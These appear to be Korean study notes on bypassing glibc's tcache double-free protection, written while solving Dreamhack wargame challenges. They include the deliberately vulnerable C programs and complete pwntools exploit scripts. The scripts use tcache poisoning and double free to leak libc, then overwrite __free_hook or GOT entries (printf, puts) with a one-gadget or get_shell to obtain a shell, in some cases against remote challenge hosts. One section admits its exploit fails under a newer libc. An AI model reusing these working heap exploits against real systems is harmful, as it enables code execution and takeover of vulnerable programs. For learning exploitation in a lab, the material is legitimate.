1.1. Tcache DFB 보호기법
typedef struct tcache_entry {
struct tcache_entry *next;
+ /* This field exists to detect double frees. */
+ struct tcache_perthread_struct *key;
} tcache_entry;
key 포인터가 추가됨(double free 탐지용)
tcache_put(mchunkptr chunk, size_t tc_idx) {
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
assert(tc_idx < TCACHE_MAX_BINS);
+ /* Mark this chunk as "in the tcache" so the test in _int_free will detect a
+ double free. */
+ e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
tcache_put: 해제한 청크를 tcache에 추가하는 함수
해제되는 청크의 key에 tcache를 대입하도록 함 (tcache = tcache_perthread라는 구조체 변수)
tcache_get (size_t tc_idx)
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
+ e->key = NULL;
return (void *) e;
}
tcache_get: tcache에 연결된 청크를 재사용할 때 사용하는 함수
재사용되는 청크의 key 값에 NULL을 대입하도록 함
_int_free (mstate av, mchunkptr p, int have_lock)
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
-
- if (tcache
- && tc_idx < mp_.tcache_bins
- && tcache->counts[tc_idx] < mp_.tcache_count)
+ if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
- tcache_put (p, tc_idx);
- return;
+ /* Check to see if it's already in the tcache. */
+ tcache_entry *e = (tcache_entry *) chunk2mem (p);
+
+ /* This test succeeds on double free. However, we don't 100%
+ trust it (it also matches random payload data at a 1 in
+ 2^<size_t> chance), so verify it's not an unlikely
+ coincidence before aborting. */
+ if (__glibc_unlikely (e->key == tcache))
+ {
+ tcache_entry *tmp;
+ LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
+ for (tmp = tcache->entries[tc_idx];
+ tmp;
+ tmp = tmp->next)
+ if (tmp == e)
+ malloc_printerr ("free(): double free detected in tcache 2");
+ /* If we get here, it was a coincidence. We've wasted a
+ few cycles, but don't abort. */
+ }
+
+ if (tcache->counts[tc_idx] < mp_.tcache_count)
+ {
+ tcache_put (p, tc_idx);
+ return;
+ }
}
}
#endif
_int_free: 청크를 해제할 때 호출되는 함수
재할당하려는 청크의 key 값이 tcache면 Double Free가 발생했다고 생각하여 프로그램 중단
이 외의 보호기법은 없음!
if (__glibc_unlikely (e->key == tcache))
위의 코드만 넘기면 tcache 청크를 double free 시킬 수 있다.
다 바꿀 필요도 없고 1비트만이라도 바꾸면 된다.
1.2. Tcache Duplication
// Name: tcache_dup.c
// Compile: gcc -o tcache_dup tcache_dup.c
#include <stdio.h>
#include <stdlib.h>
int main() {
void *chunk = malloc(0x20);
printf("Chunk to be double-freed: %p\n", chunk);
free(chunk);
*(char *)(chunk + 8) = 0xff; // manipulate chunk->key
free(chunk); // free chunk in twice
printf("First allocation: %p\n", malloc(0x20));
printf("Second allocation: %p\n", malloc(0x20));
return 0;
}
이런 식으로 chunk->key만 바꾸면 우회 가능
할당된 청크와 해제된 청크가 중첩되면 fd와 bk를 조작할 수 있게 되고, 이는 ptmalloc2의 free list에 임의 주소를 추가할 수 있음을 뜻한다.
Tcache Poisoning으로 할당한 청크에 대해 값을 출력하거나, 조작할 수 있다면 임의 주소 읽기(Arbitrary Address Read, AAR), 임의 주소 쓰기(Arbitrary Address Write, AAW)가 가능하다.
2.1. 보호기법

full relro인 것을 보아 hooking이나 원가젯이 가능할지도...?
2.2. tcache_poison.c
// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
2.3. 설계
double free bug를 만들기 위해서 최우선으로 필요한 것은 중첩상태 만들기
그러기 위해서는 chunk의 key값 변환이 필요하다
case1으로 할당 -> case2로 free -> case4로 +8위치 1바이트 수정 -> case2로 한 번더 free -> case1으로 재할당
=> 중첩 상태

from pwn import *
p = process('./tcache_poison')
def allocate(size, data):
p.sendlineafter('Edit', b'1')
p.sendlineafter('Size: ', str(size).encode())
p.sendafter('Content: ', data)
def free():
p.sendlineafter('Edit', b'2')
def print():
p.sendlineafter('Edit', b'3')
def edit(data):
p.sendlineafter('Edit', b'4')
p.sendafter('Edit chunk: ', data)
allocate(0x65, b'AAAA')
free()
edit(b'BBBBBBBBB')
free()
allocate(0x65, b'CC')
p.interactive()
FULL RELRO이기 때문에 hook을 원가젯으로 덮는 공격방식을 택했다.
먼저 libc_base를 얻기 위해 leak을 해야 한다.
setvbuf에 stdin, stdout이 있기 때문에 임의 주소 읽기를 통해 libc_base를 계산한다.
stdin, stdout은 bss 영역에 존재하고 현재 PIE가 없기 때문에 이들의 주소는 일정하다.
그리고 free의 hook을 원가젯으로 덮으면 된다.



역시 써서 이해하는게 제일 효과 좋은 것 같다.
2.4. exploit.py
#!/usr/bin/env python3
# Name: tcache_poison.py
from pwn import *
p = process('./tcache_poison')
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')
def slog(symbol, addr): return success(symbol + ': ' + hex(addr))
def alloc(size, data):
p.sendlineafter(b'Edit\n', b'1')
p.sendlineafter(b':', str(size).encode())
p.sendafter(b':', data)
def free():
p.sendlineafter(b'Edit\n', b'2')
def print_chunk():
p.sendlineafter(b'Edit\n', b'3')
def edit(data):
p.sendlineafter(b'Edit\n', b'4')
p.sendafter(b':', data)
# Initial tcache[0x40] is empty.
# tcache[0x40]: Empty
# Allocate and free a chunk of size 0x40 (chunk A)
# tcache[0x40]: chunk A
alloc(0x30, b'dreamhack')
free()
# Free chunk A again, bypassing the DFB mitigation
# tcache[0x40]: chunk A -> chunk A -> ...
edit(b'B'*8 + b'\x00')
free()
# Append address of `stdout` to tcache[0x40]
# tcache[0x40]: chunk A -> stdout -> _IO_2_1_stdout_ -> ...
addr_stdout = e.symbols['stdout']
alloc(0x30, p64(addr_stdout))
# tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...
alloc(0x30, b'BBBBBBBB')
# tcache[0x40]: _IO_2_1_stdout_ -> ...
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1] # least significant byte of _IO_2_1_stdout_
alloc(0x30, _io_2_1_stdout_lsb) # allocated at `stdout`
print_chunk()
p.recvuntil(b'Content: ')
stdout = u64(p.recv(6).ljust(8, b'\x00'))
lb = stdout - libc.symbols['_IO_2_1_stdout_']
fh = lb + libc.symbols['__free_hook']
og = lb + 0x4f432
slog('libc_base', lb)
slog('free_hook', fh)
slog('one_gadget', og)
# Overwrite the `__free_hook` with the address of one-gadget
# Initial tcache[0x50] is empty.
# tcache[0x50]: Empty
# tcache[0x50]: chunk B
alloc(0x40, b'dreamhack') # chunk B
free()
# tcache[0x50]: chunk B -> chunk B -> ...
edit(b'C'*8 + b'\x00')
free()
# tcache[0x50]: chunk B -> __free_hook
alloc(0x40, p64(fh))
# tcache[0x50]: __free_hook
alloc(0x40, b'D'*8)
# __free_hook = the address of one-gadget
alloc(0x40, p64(og))
# Call `free()` to get shell
free()
p.interactive()
// gcc -o leak1 leak1.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
{
uint64_t *ptr[10];
int i;
for(i=0;i<9;i++) {
ptr[i] = malloc(0x100);
}
for(i=0;i<7;i++) {
free(ptr[i]);
}
free(ptr[7]);
printf("fd: %lp\n", *ptr[7]);
return 0;
}
// gcc -o leak2 leak2.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
{
uint64_t *ptr[2];
ptr[0] = malloc(0x409);
ptr[1] = malloc(0x20);
free(ptr[0]);
printf("fd: %lp\n", *ptr[0]);
return 0;
}
아무튼 tcache말고 bin에 해제된 청크가 저장되도록 하면 fd와 bk 영역에 main_arena 주소가 저장된다. stdout은 main_arena와 주소가 멀지 않기 때문에 4비트 브루트 포싱으로 fd가 stdout을 가리키게 할 수 있다.
3.1. 보호기법

PIE는 없고 NX, Canary, Partial RELRO가 있다.
[stdout_leak.c]
// gcc -o stdout_leak stdout_leak.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *ptr[20];
int heap_idx = 0;
int add() {
int size = 0;
if(heap_idx >= 20 ) {
exit(0);
}
printf("Size: ");
scanf("%d", &size);
ptr[heap_idx] = malloc(size);
if(!ptr[heap_idx]) {
exit(0);
}
printf("Data: ");
read(0, ptr[heap_idx], size);
heap_idx++;
}
int del() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if(idx >= 20 ) {
exit(0);
}
free(ptr[idx]);
}
int main()
{
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while(1) {
printf("1. Add\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
add();
break;
case 2:
del();
break;
default:
break;
}
}
}
[exploit.py]
# stdout_leak.py
from pwn import *
p = process("./stdout_leak")
def add(size,data):
print p.sendlineafter(">","1")
print p.sendlineafter(":",str(size))
print p.sendafter(":",str(data))
def free(idx):
print p.sendlineafter(">","2")
print p.sendlineafter(":",str(idx))
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
stdout = libc.symbols['_IO_2_1_stdout_']
print hex(stdout)
add(0x30, "A") # 0
add(0x40, "B") # 1
add(0x410,"A") # 2
add(0x10,"A") # 3
# unsorted bin
free(2)
# tcache dup 0x50 bin
free(1)
free(1)
#tcache dup 0x40 bin
free(0)
free(0)
# # # pointing unsorted bin
add(0x30, "\xf0") # 4
add(0x30, "A") # 5
# # bruteforce stdout
add(0x30, "\x60\x17") # 6
add(0x40, "\xf0") # 7
add(0x40, "A") # 8
add(0x40, "A") #9
add(0x40, p64(0xfbad38c0) + p64(0)*3 + "\x20") # leak # 10
p.recv(1)
libc_leak = u64(p.recv(6).ljust(8,"\x00"))
libc_base = libc_leak - 0x3eb780
free_hook = libc_base + libc.symbols['__free_hook']
oneshot = libc_base + 0x4f322
print hex(libc_leak)
print hex(libc_base)
# free_hook overwrite using tcache dup
add(0x70,"A") # 11
free(11)
free(11)
add(0x70, p64(free_hook))
add(0x70, "A")
add(0x70, p64(oneshot))
# get shell
free(0)
p.interactive()

0x7ffff7e1ace0: main arena 내의 주소

(이 뒤로는 진행이 불가... 왜 나는 free 연속으로 두 번하면 signal SIGABRT로 중지되는거지
libc 버전이 달라서 그런가..)
일단 main arena 주소를 얻었으니 double free된 tcache 내의 값들로 fd와 bk가 수정되도록 하자.

여기서 fd를 가리키는 주소인 0x55cbe84ad2f0를 fcache의 fd가 가리키도록 한다.

변경전
0x30 크기의 힙을 할당해서 0x55cbe84ad260을 하위 1바이트만 0xf0로 변경해서 0x55cbe84ad2f0를 가리키도록 한다.

변경후





3.2. tcache_dup.c
// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[10];
void alarm_handler() {
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int create(int cnt) {
int size;
if (cnt > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if (!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
}
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if (idx > 10) {
return -1;
}
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int cnt = 0;
initialize();
while (1) {
printf("1. Create\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create(cnt);
cnt++;
break;
case 2:
delete();
break;
default:
break;
}
}
return 0;
}
3.3. 분석


1040 크기 할당(unsorted bin), 16 크기 할당(top chunk 병합 방지)
1040 크기 해제 후 heap 상황
0x00007ffff7dcdca0: main arena 영역 주소

stdout의 주소인데 bruteforce로 수정필요

0x602260 -> 0x6022a0으로 수정필요
3.4. exploit.py
아니 예시는 그렇게 어렵게 들어놓고 이렇게 어이없게 풀리면...ㅠㅠ
from pwn import *
p = remote('host1.dreamhack.games', 20112)
e = ELF('./tcache_dup')
libc = ELF('./libc-2.27.so')
def create(size, data):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Size: ', str(size))
p.sendafter(b'Data: ', data)
def delete(idx):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'idx: ', str(idx))
print_got = e.got['printf']
get_shell = e.sym['get_shell']
create(0x30, 'A')
delete(0)
delete(0)
create(0x30, p64(print_got))
create(0x30, 'A')
create(0x30, p64(get_shell))
p.interactive()
그냥 got 아무꺼나 get_shell로 덮으면 된다...하 4일동안 고민했는데...

canary, nx, partial relro -> got overwrite.
추가로 libc-2.30.so라서 tcache_dup처럼 double free 바로 오류난다.
4.2. tcache_dup2.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void create_heap(int idx) {
size_t size;
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
ptr[idx] = malloc(size);
if (!ptr[idx])
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1);
}
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
if (size > 0x10)
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
if (!ptr[idx])
exit(0);
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int i = 0;
initialize();
while (1) {
printf("1. Create heap\n");
printf("2. Modify heap\n");
printf("3. Delete heap\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create_heap(i);
i++;
break;
case 2:
modify_heap();
break;
case 3:
delete_heap();
break;
default:
break;
}
}
}
4.3. 참고자료
기본적인 틀은 tcache_poisoning이랑 동일하다.
하지만, 청크를 하나 미리 free 해야하고, printf, free 등의 got가 아니라 puts와 같은 특정 got를 사용해야 한다.
처음에 청크 하나만 할당하고, printf got overwrite를 했는데 exploit이 되지 않아서 당황했다. 찾아보니 이 블로그에서 정리를 정말 잘해주었다.
https://cw00h.github.io/til/hacking/TIL220823/
간단하게 요약하자면,
1. 청크 하나 미리 free
-> tcache count가 존재. 0 초과여야 우리가 원하는 tcache_get를 실행해줌
4.4. exploit.py
from pwn import *
p = remote('host1.dreamhack.games', 17403)
e = ELF('./tcache_dup2')
libc = ELF('./libc-2.30.so')
def create(size, data):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Data: ', data)
def edit(idx, size, data):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'idx: ', str(idx).encode())
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Data: ', data)
def delete(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'idx: ', str(idx).encode())
p_addr = e.got['puts']
get_shell = e.sym['get_shell']
create(0x30, b'A')
create(0x30, b'test')
delete(1)
delete(0)
edit(0, 0x10, b'B'*8 + b'\x00')
delete(0)
create(0x30, p64(p_addr))
create(0x30, b'A')
create(0x30, p64(get_shell))
p.interactive()